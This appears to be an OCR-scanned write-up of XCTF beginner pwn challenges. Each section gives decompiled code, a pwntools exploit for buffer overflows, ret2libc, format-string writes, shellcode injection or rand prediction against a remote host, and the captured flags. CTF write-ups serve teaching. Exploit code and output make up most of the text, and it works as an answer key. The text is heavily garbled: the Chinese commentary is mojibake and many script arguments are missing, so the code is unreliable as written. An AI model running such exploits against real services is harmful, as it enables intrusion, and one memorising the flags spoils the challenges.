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get shell

amd64-64-1little

IDAZEFE maink %t :

int _ cdecl main(int argc, const char **argv, const char **envp)

{
puts{"0OK,this time we will get a shell.");

system("/bin/sh");
return 8;

h

BAREEEZH T B RIBUR .

ncIs cat — &k R %
giantbranch@ubuntu:~/Desktop/xctf% nc 111.2006.241.244 53878

cyberpeace{bc99976b2c143190bab76faz29e958b2d}

SR K Linuxdy 4 K4

hello pwn
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541 -

amd64-64-1ittle

IDAEFE main:

__inte4 _ fastcall main{__int64 al, char **a2, char **a3)
{
alarm(@x3Cu);
setbuf(stdout, OLL);
puts(“~~ welcome to ctf re ");
puts("lets get helloworld for bof");
read(@, &unk_601068, @x10ulLL);
if ( dword_60106C == 1853186401 )
sub_480686();
return @LL;

BRG] G KR

int64 sub 400686()

{
system("cat flag.txt");

return BLL;
¥

HE A #HANREA.
1H5H60106C 601068 W N4, readml LAEEAOx10, BEEHNKMFRIAT,
exp:

from pwn import

r remote ( ,64067)
payload 4 + p64(1853186401)

r.recvuntil( )
r.sendline(payload)

r.interactive()

5 3flag:
cyberpeace{989932911edbf@eb2bd71336c53f5011}

level(Q




1541 :

amd64-64-1ittle

IDAZ E main:
int _ cdecl main(int argc, const char **argv, const char **envp)

{
write(1, "Hello, World\n", @xDull);

return vulnerable_Functioﬂ(lLL, "Hello, World\n");
¥

BREEECIRT TH4, B—FPNZRAHFHFHE, BEXMREFRAEE, R#EEE:
ssize t vulnerable function()
{

char buf; /f [rsp+8h] [rbp-88h]

return read(®, &buf, @x200ulLl);
¥

FrLXAN R B LAt HE RS Fread(), BEEBAREE AN TS
Eﬂ LOAD : QOG0 00000005 C

¥ LOAD Q0= T

s'| LOAD: QQO0-- 00000012

Eﬂ LOAD : QOO0 Q0000006

C
C write
Eﬂ LOAD : QOG0 Q0O00000F C __gmon_start_
C
C

Is] LOAD: 000 0000000C
s .rodata:- 00000003

GLIEC_2. 2.5
/bin/sh

45T systemi& Hf/bin/sh, 482NN read ¥\ & 0x2002: 5 & bufff) 2= 8] :

nnnnnnnnnnnnnnnn
PPRRRRREPRRAGRZ2A buf

REO0x80, M4 BEHRZ: SLiEbUfEME, A/E646reBHSNF/F, AEET FAFH LS systemR Bk, A, SEHEH.
exp:

from pwn import

r remote( ,55187)

func_addr = 0x0400596
payload 0x80 8 p64(func_addr)

r.sendline(payload)

r.interactive()

5 3flag:
Hello, World

cat flag
cyberpeace{7d12da%9def@5b59278917fblffoc26a4}

level2



15451 :
Arch:  1386-32-1ittle
RELRO:

Stack:
NK:
PIE:

IDAZ FE main:
int _ cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable function();
system({"echo ‘Hello World!'");
return 8;
¥
BEB NERH:
ssize_t vulnerable function()
{
char buf; // [esp+Bh] [ebp-88h]
system(“echo Input:");
return read(@, &buf, Bx108u);
¥
BEFRH:

i 7 ‘svsten

‘5’| LOAD : 08B0 Q0000012 C __libec_start_maln
‘s’| LOAD:0B0-- QO00000F [ __gmon_start_
‘5’| LOAD :OB0- Q0000004 [ GLIEC_ 2.0
‘s’ Lrodata:-- QO00000C C echo Input:
[s] .rodata: 00000014 C echo "Hello World!’
‘s’ el frame Q0000005 C AN

[

‘s’ L data:0g-e 00000008 /bin/sh

R system! N EFE buffi# :

-00000088 buf db ?
-00PRBOS7 db ? ; undefined
tread#10x1002>
Bk
HIFbufiR 5 I F system.
exp:

from pwn import
remote( ,54064)
0x8048320

0x804A024
(0x88) Ox4 + p32(sys_adr) p32(9) p32(bin_adr)

r.sendline(payload)

r.interactive()



15 3flag:

fbin/sh: 2: flag: not found
cat fla

669bbgefe1f1)

Lheuy = E

level3
5451«
IDAZEE main
int _ cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable function();
write(1, "Hello, World!\n", @xEu);
return @;
}
ssize vulnerable function()
{
char buf; // [esp+E ebp-8
write(1l, "Input:\n", 7u);
return read(@, &buf, Bx108u);
¥
bufﬁ%:
-90000088 buf db ?
BETRH:
Address Length Type String
[s] LoaD:og0 00000013  C /1ib/1d-linux. so. 2
Iiﬂ LO&AD: 080 00000004 C libc. =s0. 6
|£ﬂ LO&D: 080 0000000F C _I0_stdin_used
Iiﬂ LO&D: 080 00000005 C read
Iiﬂ LOAD : 080 00000012 C __libec_start_main
Iiﬂ LOAD : 080 00000006 C write
Iiﬂ LOAD: Q80 0Q000000F C __gmon_start_
|£ﬂ LO&D: 080 00000004 C GLIEBC_2.0
Iiﬂ .rodata:- 00000008 C Trnput:in
Iiﬂ .rodata:= 00000Q0F C Hello, World!in
[s] . eh_fram= 00000005  C 2N

[FF 4 74 ]



RESR A B system B4 B EE it 2 -
SR Awrite R HB Bllibc KR, A5 H R AmainR £, RS 2 KR FgotR M pltR 2 1 A system Al /bin/sh.

exp:

from pwn import
r remote( ,61622)

bin_adr = 0x15902b

elf = ELF(
libc = ELF(

elf.plt[
elf.got|

main_adr elf.symbols[

payload 0x88 p32(@xdeadbeef) p32(write_plt) p32(main_adr) p32(1) p32(write_got) p32(0xdeadbeef]
)

r.sendlineafter( ,payload)
write_got_adr u3d2(r.recv()[:4])
libc_adr = write_got_adr libc.symbols|
sys_adr libc_adr libc.symbols|[
bin_sh_adr libc_adr bin_adr

SENARETe[2] 0x88 + p32(0xdeadbeef) p32(sys_adr) p32(@xdeadbeef) p32(bin_sh_adr)

r.sendline(payload®)

r.interactive()

B 3flag:
[*] Switching to interactive mode
cat flag
cyberpeace{15f380935260dbfsad4cae62b7028f770}
Got EOF while reading in interactive
string
R4 :

amd64-64-1little

DATEZE mainER 3

_DWORD *v3; [/ rax
_inted v4; // ST18 8

cathuff<tdont ALY~



EEIIXEEES T RMNFA M, REEEXNBRA KR

{

ey neea sy g g

alarm(@x3Cu);

sub 400996(60LL, @LL);
v3 = malloc(BulLL);

vd = {_ int6d)v3;

*v3 = 68;

v3i[1] = 85;

puts("we are wizard, we will give you hand, you can not defeat dragon by vourself ..

puts("we will tell vou two secret ...");
printf("secret[@] is ¥x\n", v4, a2);
printf("secret[1] is #¥x\n", v4 + 4);
puts("do not tell anyone ");
sub_480D72(v4);

puts("The End..... Really?");

return BLL;

unsigned _ int6d _ fastcall sub_4@0D72(__inted al)

char s; /f [rsp+18h] [rbp-28h]
unsigned _ int6d v3; // [rsp+28h] [rbp-8h]

vi = _ readfsqword(@x28u);

puts("What should your character's name be:");
_is0c99 _scanf("%s", &s);

if ( strlen(&:z) <= @xC )}

¢ puts(“Creating a new player.");
sub_40BATD();
sub_AQBBB9();
sub_400CA6(( DWORD *)al);
¥
else
{
puts(“Hei! What's up!™);
Eeturn __readfsquword(@x28u) ~ v3;
¥

{

unsigned _ int64 sub_400A7D()

char s1; f/ [rsp+8h] [rbp-18h]
unsigned _ int6d v2; // [rsp+8h] [rbp-8h]

vZ2 = _ readfsqword(@x28u);

puts(” This is a famous but quite unusual inn. The air is fresh and the");
puts(“marble-tiled ground is clean. Few rowdy guests can be seen, and the");
puts("furniture looks undamaged by brawls, which are very common in other pubs");
puts("all around the world. The decoration looks extremely valuable and would fit");
puts("into a palace, but in this city it's quite ordinary. In the middle of the");
puts("room are velvet covered chairs and benches, which surround large oaken");
puts("tables. A large sign is fixed to the northern wall behind a wooden bar. In");

puts(“"one corner you notice a fireplace.");
puts("There are two obvious exits: east, up.");
puts("But strange thing is ,no one there.");
puts("So, where you will gorfeast or up?:");
while ( 1)

{
_is0c99 scanf("%s", &s1);

S H



if ( !strcmp(&s1, "east") || !strcmp(&s1l, "east") )
break;
puts("hei! I'm secious!");
puts("So, where you will go?:");
¥
if ( strcmp(&s1l, "east") )
{
it ( !strcmp(&s1, "up") )
sub_4009DD();
puts("YOU KNOW WHAT YOU DO?");
exit(8);
¥

return _ readfsgword(@x28u) *~ vZ;

¥

iX/M4009DD s 3 E 4P “YOU ARE DEAD", Fi ARMTIX 51 & B N east", B R EL

unsigned _ int64 sub_400BB9()
{
int v1; // [rsp+4h] [rbp-7Ch]
__inte4 v2; // [rsp+8h] [rbp-78h]
char format; // [rsp+16h] [rbp-70h]
unsigned __int64 v4; // [rsp+78h] [rbp-8h]

vd = _ readfsqword(@x28u);
vZ2 = @LL;
puts("You travel a short distance east.That's odd, anyone disappear suddenly”);
puts(”, what happend?! You just travel , and find another hole");
puts("You recall, a big black hole will suckk you into it! Know what should you do?");
puts(“go into there(l), or leave(®)?:");
_is0c99_scanf("%d", &v1);
if (vl ==1)
{
puts("A voice heard in your mind");
puts("'Give me an address'");
_isoc99_scanf("%1d", &v2);
puts("And, you wish is:");
_isoc99_scanf("%s", &format);
puts("Your wish is");
printf(&format, &format); // B ERRIRE
puts("I hear it, I hear it....");
¥

return _ readfsqword(@x28u) ~ vi;

ERXE, ET—AHhE, It HXAprinttt N E R BEAEE T formatd, X AMormat X2 2 BT AT A Kwish, ZRE
HEFTEMANT,
BEBE=ARE:

unsigned  int64 _ fastcall sub_400CA6(_DWORD *al)
{
void *v1; f/ rsi
unsigned  int64 v3; // [rsp+18h] [rbp-8h]

v3 = _ readfsqword(@x28u);

puts("Dragon say: HaHa! you were supposed to have a normal);

puts("RPG game, but I have changed it! you have no weapon and ");
puts("skill! you could not defeat me !");

puts("That's sound terrible! you meet final boss!but you level is ONE!™);
if ( *al == al[1] )

{




puts("Wizard: I will help you! USE YOU SPELL");

vl = mmap(@LL, @x1@8@ulLlL, 7, 33, -1, OLL);

read(@, v1, @x100ull);

((void (_ fastcall *)(_QWORD, void *))vi)(eLL, v1);// %AvIZAEEAvL

h

return _ readfsqword(®x28u) * v3;

h

BRIXAVIT AR, BXEMERRE: vidAshelcode.

HE: at[0]==al[1]?

R REAFAA T LAV, WEZmaini #r] DUE Bla1#i2v4, Tivagt2v3, v3[0]=68,v3[1]=85,7] LAFE AT AR A Y
al[0[fla1[1PF A%, HR, BF T HEREVARMIEMES RN T, ZENEFT S LRI, FEFHRER

(RN N B R o

RABHR:

B R, #EaddressHwishif) i {558 ovA B, FHAEZ, & J5F)Hv1iEHshellcode.

exp:

from pwn import

r remote(
r.recvuntil(
addr (r.recv(7),16)

print addr

r.recvuntil(

.sendline(

.recvuntil(

.sendline(

.recvuntil(

.sendline( )

.recvuntil(
r.sendline( (addr))

r.sendline(payload)

r.recvuntil(

NI PEL)

)

shellcode = asm(shellcraft.amd64.linux.sh(),arch

r.sendline(shellcode)

r.interactive()

5 2flag:

[+] Opening connection to 111.208.241.244 on port 61235: Done
7168016
[*] Sswitching to interactive mode

string
cat flag
cyberpeace{542b%9abcb83d3ifeelb17735087765e45¢e}




guess num

541 :

amd64-64-1ittle

IDAEE main:
for (1 =0; 1 <=9; ++1 )
{
v7 = rand() % 6 + 1;
printf("------------- Turn:%d------------- \n", (unsigned int)(i + 1));

printf("Please input vour guess number:");
__is0c¢99 scanf("%d", &v5);
L ");
if (v I=v7 )
{

puts{"GG!");

exit(1);
}

puts{“Success!");

}
sub C3E();

RIBKRE: Mrandi >k 87— B100 BN B )

FRI )& 1 A ) BB $(C 3E:
| inté4 sub C3E()
{

printf("You are a prophet!\nHere is your flag!");
system("cat flag");
return @LL;

¥

B BRMEFHEBREH T : WMA10NBFE S rand i) FAH F
% E 4 firand()— B8 ?
KA RIX AV

Fesksrand 4 I BENLEOR DhBEN LS. HEBR —MERKBFF S, REREFTEMBIRXANFRF BN R, RIEERAERBENIEUR 13
—A TR WA, WRBATF TR —FEK, HFE KRR BA11S 2K BELECR —

Hak: M7, M



brinff(“Your name:");

gets(&vi);
srand(seed[8]);
for ( 1 =0; 1 <=9; ++1 )

XAgets AT LAFI A, EFHV8Hseed:

-90000OPOVNAARA30 var 30 db ?

-00P000BOPOONB02F db ? ; undefined
-P0000OP0VRBORR1D seed dd 2 dup(?)
-00000000R0R0OE0S var 8 dq ?

W#R20, seedO]RFE2118HIT, BEk: FF veR: i ¥ ki seed[0]HI i, fFseed—F, HAarand()—F, T LABEANL H
flagi R % T

exp:

from pwn import

from ctypes import
remote( ,62646)
cdll.LoadLibrary(
0x20 + p64(1)
)
r.sendline(payload)
libc.srand(1)
for i in (10):
num (libc.rand()%6+1)
r.recvuntil( )

r.sendline(num)

r.interactive()

B 3flag:
um$ python guess_numl.py
.244 on port 62646: Done

e a prophet!
s your flag!cyberpeace{66f7 86596B8e63c3652b8308c91}
Got EOF while reading in inte

int overflow

153451 :

13B6-32-little

main:

int _ cdecl main(int argc, const char **argv, const char **envp)

{
int v4; // [esp+Ch] [ebp-Ch]

setbuf(stdin, @);
setbuf(stdout, @);
setbuf(stderr, @);
puts(’--------------------- ")
puts("~~ Welcome to CTF! ~~"};
outs(" 1.Loein "y



- o= — o )

puts(” 2.Exit "y;
puts("--------------------- ");
printf("Your choice:");
__1s50c99 scanf("%d", &vid);
if (vd ==1)
{
login();
¥
else
{
if (vd == 2)
{
puts("Bye~");
exit(0);
¥
puts("Invalid Choice!");
¥

return @;

login:

lchar *1ogin()

{
char buf; // [esp+Bh] [ebp-228h]
char s; // [esp+200h] [ebp-28h]

memset(&s, @, 0x20u);

memset(&buf, @, Bx200u);
puts{"Please input your username:");
read(@, &=, @x19u);

printf("Hello %s\n", &s);
puts{"Please input your passwd:");
read(@, &buf, Bx199u);

return check_passwd(&buf);

check_passwd:
char *  cdecl check passwd(char *s)

{
char *result; // =ax
char dest; // [esp+dh] [ebp-14h]
unsigned  int8 v3; // [esp+Fh] [ebp-9h]

strlen(s);

vi =
if ( v2<=3u || v > 8u)

—

puts("Invalid Password");
result = (char *)fflush(stdout);
¥
else
{
puts{"Success");
fflush(stdout);
result = strepy(&dest, s);
}

return result;

ZE, REFEERFEFER, WRARETFHFHEFE T



['s’] LOAD : 080"
E .rodata: -

E .rodata:-—

HWE T XA R

GLIEC_Z.0

Success

int what_is this()

1
h

BRI X what_is_thisg #t

SR EAEM?
E & Flresult/2 s Il FldestH -

s:0x199
dest:0x14

-00000014 dest

-B0eel13
-200aee12
-geeeeel1l
-B0eerel1e
-2008RaeF
-2008RavE
-BeeaaeD
-Begeaeac
-BBeveeB
-2000a0aA

-20000089 var 9

-200aees
-geeavea’
-2008avs6
-20080085
-gvgeeeed
-20eee3
-20080002
-dBeeeel

db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db

B e e e S e e

M b e b Me haE M hMe s s

o e b e heE b

return system("cat flag");

undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined

undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined

A R, ERVIR S KERAT T RiE(4-8), EHEEREL, EHILH:

push
call
add
mov
cmp
jbe
cmp

Ja

XEFEHAEKE LBl HHREVIK.

8086 T & fran 2 160L, & /\ AL AHK\SLAL .
REHE2/8 57 5 F 0 _E4-85L AT LAk NelseiB ), i #5 DUt i i

exp:

[ebp+s]
_strlen
esp, 10h

[ebp+var_9], al
[ebp+var_9], 3

3 5

short loc_80486FC

[ebp+var_9], 8

short loc_80486FC



from pwn import

r remote( ,61350)
sys_addr 0x804868B

ox14 Ox4 + p32(sys_addr)
payload.ljust(260, )

.recvuntil( )

.sendline(

.recvuntil(

.sendline(

.recvuntil(

.sendline(payload)

.interactive()

5 3flag:

Success

cyberpeace{

cgpwn2

15451«
IDA:
int _ cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, @);
setbuf(stdout, @);
setbuf(stderr, 8);
hello();
puts("thank you"});
return 9;
¥
hello:
puts{“"please tell me your name");
fgets(name, 50, stdin);
puts{"hello,you can leave some message here:");
return gets(&s);
FREER:
(5’| LOAD: 080"

0000007 C
...... 07

a0ooo0oT
‘s’ LOAD: QB0 Q0000012

__libe start main

& : #&A bin/sh
B FA/bin/shIfic FHbbk, ¥%iHEMHsystem.
sHIw# :

char s; //

- i

exp:



from pwn import

r remote( ,50171)
bin_sh
sys_addr 0x8048420

r.recvuntil( )
r.sendline(bin_sh)
bin_addr = 0x804A080

r.recvuntil( )

payload 0x26 p32(sys_addr) p32(0xdeadbeet) p32(bin_addr)

r.sendline(payload)

r.interactive()

5 3flag:

cat flag
cyberpeace{2a9d81b4d67c9925866fa541b3df3a86}

CGfsb

5451 -
Arch: i3B6-32-1ittle
RELRO:
Stack:
NX:
PIE:
main:

memset(&s, @, Ox64u);
puts{“"please tell me your name:");
read(@, &buf, OxAu);
puts{"leave your message please:");
fgets(&s, 100, stdin);
printf("hello %s", &buf);
puts{"your message is:");
printf(&s);
if ( pwnme == 8 )
{
puts("you pwned me, here is your flag:\n");
system("cat flag");

}
else
{
puts{“"Thank you!");
}
return 9;

g ) FH printfik Bl 7 55N UK R pwnme U 8

exp:



from pwn import

pwnme_addr 0x804A068

payload p32(pwnme_addr)

remote( ,55843)
.recvuntil(
.sendline(
.recvuntil(

.sendline(payload)

.interactive()

5 Zlflag:

cyberpeace{bc177dabez2995a731d96f049ddd81508}
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